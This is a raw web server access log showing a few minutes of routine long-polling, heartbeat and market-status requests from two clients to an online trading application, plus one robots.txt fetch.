[09/Jan/2026:09:09:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921268304 HTTP/1.1" -
[09/Jan/2026:09:10:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921271811 HTTP/1.1" -
[09/Jan/2026:09:10:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:10:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:10:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:10:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:10:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921276988 HTTP/1.1" -
[09/Jan/2026:09:10:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921274309 HTTP/1.1" -
[09/Jan/2026:09:10:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921282051 HTTP/1.1" -
[09/Jan/2026:09:10:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921280309 HTTP/1.1" -
[09/Jan/2026:09:10:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:10:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:10:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:10:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:10:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921287111 HTTP/1.1" -
[09/Jan/2026:09:10:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921286309 HTTP/1.1" -
[09/Jan/2026:09:10:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921292226 HTTP/1.1" -
[09/Jan/2026:09:10:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921292307 HTTP/1.1" -
[09/Jan/2026:09:10:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921297344 HTTP/1.1" -
[09/Jan/2026:09:10:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921298299 HTTP/1.1" -
[09/Jan/2026:09:10:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921302485 HTTP/1.1" -
[09/Jan/2026:09:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:10:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921304299 HTTP/1.1" -
[09/Jan/2026:09:10:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921307634 HTTP/1.1" -
[09/Jan/2026:09:10:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921312680 HTTP/1.1" -
[09/Jan/2026:09:10:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921310305 HTTP/1.1" -
[09/Jan/2026:09:10:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921317735 HTTP/1.1" -
[09/Jan/2026:09:10:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921316298 HTTP/1.1" -
[09/Jan/2026:09:10:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921322857 HTTP/1.1" -
[09/Jan/2026:09:10:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921322311 HTTP/1.1" -
[09/Jan/2026:09:10:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921327968 HTTP/1.1" -
[09/Jan/2026:09:10:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921328298 HTTP/1.1" -
[09/Jan/2026:09:11:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921333083 HTTP/1.1" -
[09/Jan/2026:09:11:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:11:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:11:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:11:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:11:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921334301 HTTP/1.1" -
[09/Jan/2026:09:11:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921338237 HTTP/1.1" -
[09/Jan/2026:09:11:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921340297 HTTP/1.1" -
[09/Jan/2026:09:11:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921343284 HTTP/1.1" -
[09/Jan/2026:09:11:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:11:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:11:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:11:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:11:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921348427 HTTP/1.1" -
[09/Jan/2026:09:11:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921346311 HTTP/1.1" -
[09/Jan/2026:09:11:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921353548 HTTP/1.1" -
[09/Jan/2026:09:11:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921352310 HTTP/1.1" -
[09/Jan/2026:09:11:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921358681 HTTP/1.1" -
[09/Jan/2026:09:11:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921358299 HTTP/1.1" -
[09/Jan/2026:09:11:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921363816 HTTP/1.1" -
[09/Jan/2026:09:11:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:11:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:11:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:11:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:11:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921364300 HTTP/1.1" -
[09/Jan/2026:09:11:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921368948 HTTP/1.1" -
[09/Jan/2026:09:11:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921370299 HTTP/1.1" -
[09/Jan/2026:09:11:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921373985 HTTP/1.1" -
[09/Jan/2026:09:11:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921376309 HTTP/1.1" -
[09/Jan/2026:09:11:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921379109 HTTP/1.1" -
[09/Jan/2026:09:11:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921384273 HTTP/1.1" -
[09/Jan/2026:09:11:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921382308 HTTP/1.1" -
[09/Jan/2026:09:11:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921389394 HTTP/1.1" -
[09/Jan/2026:09:11:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921388307 HTTP/1.1" -
[09/Jan/2026:09:12:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:12:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:12:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:12:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:12:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921394539 HTTP/1.1" -
[09/Jan/2026:09:12:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921394303 HTTP/1.1" -
[09/Jan/2026:09:12:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921399610 HTTP/1.1" -
[09/Jan/2026:09:12:09 +0800] 110.249.201.184 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:09:12:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921400301 HTTP/1.1" -
[09/Jan/2026:09:12:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:12:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:12:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:12:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:12:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921404730 HTTP/1.1" -
[09/Jan/2026:09:12:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921406306 HTTP/1.1" -
[09/Jan/2026:09:12:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921409893 HTTP/1.1" -
[09/Jan/2026:09:12:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921412311 HTTP/1.1" -
[09/Jan/2026:09:12:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921415041 HTTP/1.1" -
[09/Jan/2026:09:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921420253 HTTP/1.1" -
[09/Jan/2026:09:12:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921418303 HTTP/1.1" -
[09/Jan/2026:09:12:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:12:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:12:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:12:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
